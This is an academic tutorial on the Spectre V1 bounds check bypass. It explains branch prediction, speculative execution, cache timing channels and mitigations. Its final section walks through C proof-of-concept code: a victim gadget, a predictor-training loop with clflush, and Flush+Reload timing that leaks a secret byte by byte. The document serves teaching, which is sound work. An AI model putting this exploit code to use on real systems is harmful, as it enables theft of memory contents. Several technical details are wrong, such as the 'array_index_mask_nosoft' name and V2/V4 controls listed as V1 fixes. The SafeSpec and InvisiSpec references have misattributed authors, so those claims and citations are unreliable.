Spectre V1: An Academic Tutorial on Bounds Check Bypass and Speculative Execution Side-Channels

Ramail Khan – 26924
Rohan Riaz – 26916

November 27, 2025

Abstract

Spectre V1 (Bounds Check Bypass) represents one of the most significant microarchitectural vulnerabilities discovered in modern processors. The attack exploits speculative execution and branch prediction mechanisms to coerce the CPU into transiently executing instructions that access data outside of intended architectural constraints. Although the results of such speculative execution never retire architecturally, they leave measurable microarchitectural footprints — primarily in the cache hierarchy — which can be exploited to infer sensitive information. This report provides a comprehensive tutorial on the microarchitectural concepts underlying Spectre V1, including branch prediction, speculative execution pipelines, and cache-based timing channels. The document further reviews official Intel and AMD mitigations, academic proposals for safer speculation, and concludes with a structured skeleton for an annotated Proof-of-Concept (PoC) walkthrough suitable for academic demonstration. This report serves both as an instructional resource and an analytical reference for understanding Spectre V1 in controlled, research-oriented environments.

1 Introduction

The discovery of Spectre attacks in 2018 fundamentally altered the security community's understanding of processor design and microarchitectural behavior [1]. For decades, modern CPUs have relied on performance-enhancing mechanisms such as speculative execution, out-of-order processing, and branch prediction. These optimizations allow processors to execute instructions beyond unresolved branches, leveraging the assumption that predicting program behavior yields superior performance. However, Spectre V1 (V1), also known as Bounds Check Bypass, demonstrated that these mechanisms could be manipulated to leak sensitive data.

Spectre V1 is conceptually simple but microarchitecturally deep: the attacker mistrains a branch predictor to speculatively mis-execute a memory access with an out-of-bounds index. Although architecturally illegal, the speculatively executed operations bring specific memory locations into the CPU's cache. By later measuring cache access latencies, an attacker can infer the values transiently accessed during mis-speculation.

Unlike Meltdown, which relies on faulting loads, Spectre V1 exploits a general feature of speculative execution and applies to almost all high-performance CPUs. As such, it is a class of vulnerabilities rather than a bounded implementation flaw. Understanding Spectre V1 therefore requires an examination of the hardware structures involved: branch predictors, speculative execution pipelines, out-of-order cores, and the cache hierarchy.

This tutorial provides an academic and technical exploration of these structures and the attack vector they enable.

2 Hardware Components Exploited

Spectre V1 leverages several tightly coupled microarchitectural components. The following subsections outline the relevant hardware structures and the mechanisms by which they contribute to the vulnerability.

2.1 Branch Predictor

Modern CPUs frequently encounter conditional branch instructions. The latency of resolving a branch condition is high relative to pipeline depth. To avoid pipeline stalls, processors include branch predictors such as:

- **Pattern History Table (PHT)**: Tracks the outcome history of conditional branches.
- **Branch Target Buffer (BTB)**: Predicts jump targets for direct and indirect branches.

The PHT records past behavior and uses a saturating counter to guess whether a conditional branch is likely to be taken. Spectre V1 exploits the PHT by repeatedly executing an in-bound memory access that always triggers the "true" branch, causing the predictor to strongly favor this outcome.

When an attacker then supplies an out-of-bounds index, the predictor still predicts "in bounds," enabling speculative execution of code that accesses attacker-chosen memory locations.

2.2 Speculative Execution Pipeline

Speculative execution is a mechanism by which the CPU executes future instructions before previous branches or load dependencies have been resolved. This speculative execution does not affect architectural state unless the speculation is correct; otherwise, results are discarded.

Nevertheless, speculative execution affects *microarchitectural* state:

- Cache occupancy
- TLB entries
- Load and store buffer contents
- Execution port contention

Spectre V1 relies on speculative, out-of-bounds loads that transiently fetch a memory byte and use it as an index into a probe array. Even though the instruction is squashed once speculation is found faulty, the cache line corresponding to the probe array index remains present.

2.3 Cache Hierarchy

Spectre-style attacks leverage side-channel effects, particularly the cache timing channel. The L1 Data Cache (L1D) is small, low-latency, and serves as the primary structure for detecting differences between cached and uncached values. A typical timing difference is:

$$t_{\text{hit}} \approx 3\text{–}5 \text{ cycles}, \qquad t_{\text{miss}} \approx 50\text{–}200 \text{ cycles}$$

By timing memory accesses to specific offsets in a probe array, the attacker learns which cache line was speculatively fetched. That index corresponds to a leaked byte.

This effect persists regardless of architectural rollbacks, making speculative execution a powerful source of side-channel leakage.

3 Attack Vector and Microarchitectural Principles

Spectre V1 operates through a four-step attack cycle commonly described as:

$$\text{Train} \rightarrow \text{Flush} \rightarrow \text{Mispredict} \rightarrow \text{Probe}$$

Each step interacts with different microarchitectural components.

3.1 Training the Branch Predictor

The attacker repeatedly invokes a victim function with an index that satisfies a bounds check. This strengthens the PHT entry for the branch, biasing the saturating counter toward predicting the branch as “taken” for subsequent accesses.

3.2 Flushing the Probe Array

The attacker flushes a designated probe array from the cache using instructions such as `clflush`. This ensures that any subsequent cached lines can be attributed to speculative execution.

3.3 Inducing Speculative Misprediction

By supplying an out-of-bounds index, the attacker forces a race between two events:

1. The bounds check resolving as false (architectural path).
2. The branch predictor incorrectly predicting it as true (speculative path).

During misprediction, the CPU transiently executes:

$$\text{value} = \text{secret}[i]; \qquad \text{temp} = \text{probeArray}[value \times 4096];$$

Even though the instruction sequence is later squashed, the calculated probeArray$[value \times 4096]$ index is fetched into L1D.

3.4 Probing the Cache for Leakage

The attacker measures access latency for each probe-array slot. The correct index, whose cache line is resident, yields a low-latency access.

Thus, speculative execution has leaked a byte through a microarchitectural side channel.

This pattern generalizes beyond Spectre V1, enabling other variants such as Spectre V2 (BTB poisoning) and Spectre-PHT attacks.

4 Mitigations

Mitigating Spectre V1 is challenging due to its dependence on fundamental performance features. No single fix suffices. Vendors and researchers have proposed hardware, software, and compiler-level mitigations.

4.1 Intel Vendor Mitigations

Intel has introduced several mitigations:

- **LFENCE Serialization**: Introduces a speculation barrier after bounds checks.
- **Speculative Store Bypass Disable (SSBD)**: Limits speculation around memory dependencies.
- **Enhanced Indirect Branch Restricted Speculation (eIBRS)**: Hardens indirect branch predictions.

- **Microcode Updates**: Restricts certain speculative behaviors and introduces speculation control MSRs.

LFENCE barriers impose a performance cost but prevent speculative instruction execution beyond sensitive checks.

4.2 AMD Vendor Mitigations

AMD uses similar controls, emphasizing:

- Hardware vendor-specific speculation fencing (`LFENCE` treated as serializing)
- Predictive store bypass controls
- Randomization of predictor states under certain privilege transitions

AMD CPUs are vulnerable but tend to exhibit different speculation behavior due to architectural differences.

4.3 Operating System Mitigations

OS-level patches, while insufficient alone, reinforce boundaries:

- Use of `array_index_mask_nosoft` functions
- Hardened user pointer validation
- Introduction of speculative execution barriers in kernel/user transitions

These prove especially useful for system-call paths and JIT compilers.

4.4 Academic Mitigation Proposals

Research efforts propose hardware modifications to eliminate leakage without overly restricting speculation:

- **InvisiSpec**: Allows safe speculation by validating loads before exposing them to cache.
- **SafeSpec**: Buffers speculative state in shadow structures.
- **Data Obfuscation Techniques**: Noise injection in side-channel observable structures.
- **Speculative Taint Tracking**: Tracks speculative data and prevents microarchitectural propagation until safe.

These approaches significantly influence CPU design discussions but remain largely unimplemented in commodity processors.

5 Proof-of-Concept (PoC) Walkthrough

This section presents a functional Proof-of-Concept (PoC) implementation of Spectre V1 written in C. The code demonstrates how to coerce a processor into speculatively accessing memory outside of architectural bounds and retrieving that data via a Flush+Reload side channel.

5.1 Global Variables and Data Structures

The PoC relies on specific memory layouts to function reliably. We define `array1` (the valid buffer) and `array2` (the probe array).

```c
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
  1, 2, 3, 4, 5, 6, 7, 8,
  9, 10, 11, 12, 13, 14, 15, 16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";
```

Listing 1: Global Data Structures and Target Secret

Analysis:

- `array2` acts as the side-channel oracle. Its size is 256×512. The multiplier 512 is the *stride*. Since typical cache lines are 64 bytes, a stride of 1 (accessing contiguous bytes) would cause adjacent values to be loaded into the same cache line, making them indistinguishable via timing. A stride of 512 ensures that each of the 256 possible byte values maps to a distinct cache line and avoids hardware prefetcher interference.
- `unused1` and `unused2` serve as padding to prevent unrelated data from being prefetched into the cache lines we are manipulating.

5.2 The Victim Function

The `victim_function` contains the critical vulnerability: a bounds check followed by a dependent memory access.

```c
uint8_t temp = 0;

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}
```

Listing 2: The Victim Gadget

Analysis: When `x` is malicious (out-of-bounds), the architectural path evaluates false. However, if `array1_size` is uncached, the CPU predicts the branch as taken. It speculatively executes the inner line, resolving `array1[x]` (the secret byte) and using it to load `array2[secret * 512]` into the cache.

5.3 Branch Predictor Training and Speculation Trigger

To trick the CPU, we must train the pattern history table (PHT) to expect a valid index. The following loop alternates between training and attacking.

```
/* 30 loops: 5 training runs, 1 attack run */
for (j = 29; j >= 0; j--) {
  _mm_clflush(&array1_size);

  for (volatile int z = 0; z < 100; z++) {}

  /* Bitwise logic to select x without branching */
  x = ((j % 6) - 1) & ~0xFFFF;
  x = (x | (x >> 16));
  x = training_x ^ (x & (malicious_x ^ training_x));

  victim_function(x);
}
```

Listing 3: Predictor Training Loop

Analysis:

- **Flushing bounds:** `_mm_clflush(&array1_size)` evicts the size variable from the cache. This forces the CPU to wait for a main memory access (hundreds of cycles) during the bounds check, maximizing the speculative window.
- **Branchless Selection:** The variable `x` is selected using bitwise operations rather than an `if` statement. If we used a branch to select between `training_x` and `malicious_x`, the CPU might predict *that* branch instead, disrupting the training of the victim function's branch predictor.

5.4 Timing-Based Inference (Flush+Reload)

Once the speculative access has occurred, we probe `array2` to see which index was cached.

```
/* Time reads */
for (i = 0; i < 256; i++) {
  mix_i = ((i * 167) + 13) & 255; // Pseudo-randomize order
  addr = &array2[mix_i * 512];

  time1 = __rdtscp(&junk);
  junk = *addr;
  time2 = __rdtscp(&junk) - time1;

  if (time2 <= CACHE_HIT_THRESHOLD &&
      mix_i != array1[tries % array1_size])
```

```
    results[mix_i]++;
}
```

Listing 4: Measuring Cache Latency

Analysis:

- **`__rdtscp`:** This intrinsic reads the CPU time stamp counter. It is a serializing instruction, ensuring that surrounding instructions are not reordered around the timer, which is crucial for nanosecond-precision measurement.
- **Thresholding:** If `time2` is low (e.g., < 80 cycles), it indicates a cache hit. This implies the CPU speculatively accessed this index in the victim function, revealing the value of the secret byte.

5.5 Main Execution Driver

The main function iterates through the secret string, leveraging the `readMemoryByte` function to extract one byte at a time.

```
int main(int argc, const char **argv) {
  size_t malicious_x = (size_t)(secret - (char *)array1);
  /* ... setup code ... */

  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void *)malicious_x);
    readMemoryByte(malicious_x++, value, score);
    /* ... print results ... */
  }
  return 0;
}
```

Listing 5: Main Driver Function

Analysis: The variable `malicious_x` is calculated as the offset between `array1` and the `secret`. Although `array1[malicious_x]` is architecturally invalid C code, the pointer arithmetic provides the correct offset for the speculative access to reach the secret string memory location.

6 Conclusion

Spectre V1 is a seminal example of how performance-oriented CPU optimizations can create unforeseen security vulnerabilities. Through the exploitation of speculative execution and branch prediction, Spectre V1 demonstrates that transient instructions—although architecturally invisible—can nonetheless manipulate microarchitectural state in a manner detectable via side channels.

The ubiquity of affected processors ensures that Spectre remains relevant, both academically and practically. Mitigations from Intel, AMD, operating systems, and academic researchers offer layered defenses, yet no universal, low-cost solution exists that fully preserves modern CPU performance.

Understanding the mechanisms and implications of Spectre V1 is therefore essential for hardware designers, compiler developers, operating system engineers, and security researchers. This report provides foundational knowledge required to analyze the vulnerability, evaluate mitigations, and safely demonstrate its concepts in controlled environments.

References

[1] P. Kocher, D. Genkin, D. Gruss, et al., "Spectre Attacks: Exploiting Speculative Execution," *IEEE Symposium on Security and Privacy*, 2019. Available at: `https://spectreattack.com/spectre.pdf`

[2] Intel Corporation, "Analysis of Speculative Execution Side Channels," Intel Technical Advisory, 2018. Available at: `https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00088.html`

[3] Google Project Zero, "Reading privileged memory with a side-channel," Project Zero Blog, 2018. Available at: `https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html`

[4] M. Yan, J. Choi, C. Fletcher, et al., "SafeSpec: Banishing the Spectre of a Meltdown with Leakage-Free Speculation," *Proceedings of the 45th Annual International Symposium on Computer Architecture (ISCA)*, 2018. Available at: `https://cornellcomputerarchitecture.github.io/pdfs/yan2018safespec.pdf`

[5] D. Kwon, M. Yan, R. Ausavarungnirun, et al., "InvisiSpec: Making Speculative Execution Invisible in the Cache Hierarchy," *51st Annual IEEE/ACM International Symposium on Microarchitecture (MICRO)*, 2018. Available at: `https://people.cs.vt.edu/~kdaudjee/papers/invisispec_micro18.pdf`